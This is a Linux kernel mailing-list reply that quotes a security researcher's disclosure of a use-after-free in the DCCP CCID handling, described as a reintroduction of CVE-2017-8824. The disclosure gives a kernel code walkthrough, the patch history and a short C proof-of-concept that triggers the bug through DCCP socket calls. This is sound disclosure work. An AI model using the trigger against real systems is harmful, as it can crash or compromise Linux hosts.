This one is already publicly known because syzbot discovered it last November. I have added netdev to the CC list. Unfortunately, DCCP seems orphaned.
https://lore.kernel.org/lkml/20191121201433.GD617@kadam/ regards, dan carpenter On Fri, Jun 19, 2020 at 05:59:58PM -0300, Leonardo AlmiƱana wrote: > A similar bug to CVE-2017-8824 has been (RE)introduced in the Linux kernel. > > When a DCCP socket connection happens one of the functions called is > dccp_hdlr_ccid. > > static int dccp_hdlr_ccid(struct sock *sk, u64 ccid, bool rx) > { > struct dccp_sock *dp = dccp_sk(sk); > struct ccid *new_ccid = ccid_new(ccid, sk, rx); > > if (new_ccid == NULL) > return -ENOMEM; > > if (rx) { > ccid_hc_rx_delete(dp->dccps_hc_rx_ccid, sk); > dp->dccps_hc_rx_ccid = new_ccid; > } else { > ccid_hc_tx_delete(dp->dccps_hc_tx_ccid, sk); > dp->dccps_hc_tx_ccid = new_ccid; > } > return 0; > } > > The function allocates a new CCID and assigns it to the sock. > * If an old CCID is found then it's deleted. > > void ccid_hc_rx_delete(struct ccid *ccid, struct sock *sk) > { > if (ccid != NULL) { > if (ccid->ccid_ops->ccid_hc_rx_exit != NULL) > ccid->ccid_ops->ccid_hc_rx_exit(sk); > kmem_cache_free(ccid->ccid_ops->ccid_hc_rx_slab, ccid); > } > } > > void ccid_hc_tx_delete(struct ccid *ccid, struct sock *sk) > { > if (ccid != NULL) { > if (ccid->ccid_ops->ccid_hc_tx_exit != NULL) > ccid->ccid_ops->ccid_hc_tx_exit(sk); > kmem_cache_free(ccid->ccid_ops->ccid_hc_tx_slab, ccid); > } > } > > When the socket is disconnected dccp_disconnect is invoked, this function > leaves dp->dccps_hc_tx_ccid unaltered. > > It is possible to copy the socket including dangling references. To > accomplish > it the socket has to be put into LISTEN state. > > struct sock *dccp_create_openreq_child(const struct sock *sk, > const struct request_sock *req, > const struct sk_buff *skb) > { > /* > * Step 3: Process LISTEN state > * > * (* Generate a new socket and switch to that socket *) > * Set S := new socket for this port pair > */ > > struct sock *newsk = inet_csk_clone_lock(sk, req, GFP_ATOMIC); > > [...] > > /* > * Activate features: initialise CCIDs, sequence windows etc. > */ > if (dccp_feat_activate_values(newsk, &dreq->dreq_featneg)) { > sk_free_unlock_clone(newsk); > return NULL; > } > > [...] > } > > The call to inet_csk_clone_lock allocates a new socket and > the contents of sk are copied to newsk. Next dccp_feat_activate_values gets > called, which ends up calling dccp_hdlr_ccid. > > Since the copy contains a non-NULL pointer ccid_hc_tx_delete will be called > to > destroy the CCID object while the source socket is still holding references > to > it. The UAF can be triggered by operating over the CCIDs from the original > sock > after the child sock has freed it. > > > Original patch that "fixed" CVE-2017-8824: > https://github.com/torvalds/linux/commit/69c64866ce072dea1d1e59a0d61e0f66c0dffb76 > > The patch was broken as it can been seen the following commit: > https://github.com/torvalds/linux/commit/67f93df79aeefc3add4e4b31a752600f834236e2 > > Things were still broken, so ccid_hc_tx_delete was removed : > https://github.com/torvalds/linux/commit/2677d20677314101293e6da0094ede7b5526d2b1 > > The last patch leaves things almost exactly as they were with CVE-2017-8824. > The difference is that now only TX is affected, making exploitation harder > for > the following reasons: > - RX's size made it easy to produce kmalloc block collisions, with TX > it isn't. > - The actual freeing of the object is deferred and might happen in a > different > context because of RCU. > > > Proof of Concept > ================ > > #include <stdio.h> > #include <string.h> > #include <unistd.h> > #include <sys/socket.h> > #include <netinet/in.h> > > > int main(int argc, char *argv[]) > { > struct sockaddr_in in1 = > { > .sin_family = AF_INET, > .sin_port = 0xaaaa > }; > > struct sockaddr_in in2 = > { > .sin_family = AF_INET, > .sin_port = 0xbbbb > }; > > struct sockaddr_in in3 = { 0 }; > > int fd1 = socket(PF_INET, SOCK_DCCP, 0); > int fd2 = socket(PF_INET, SOCK_DCCP, 0); > > bind(fd1, (struct sockaddr*)&in1, sizeof(in1)); > listen(fd1, 1); > connect(fd2, (struct sockaddr*)&in1, sizeof(in1)); > connect(fd1, (struct sockaddr*)&in3, sizeof(in3)); > connect(fd2, (struct sockaddr*)&in3, sizeof(in3)); > bind(fd2, (struct sockaddr*)&in2, sizeof(in2)); > listen(fd2, 1); > connect(fd1, (struct sockaddr*)&in2, sizeof(in2)); > close(fd1); > close(fd2); > > return 0; > } > > ### ### ### ### ### ### ### ### ### ### ### ### ### > > Please use my company email for any future communications, I was forced to > use this one at the moment because your MTA refuses to accept the email > from our provider (zoho) due to a spamcop related issue. > > leonardo.almin...@tacitosecurity.com > > Regards. > > Leonardo AlmiƱana > Tacito Security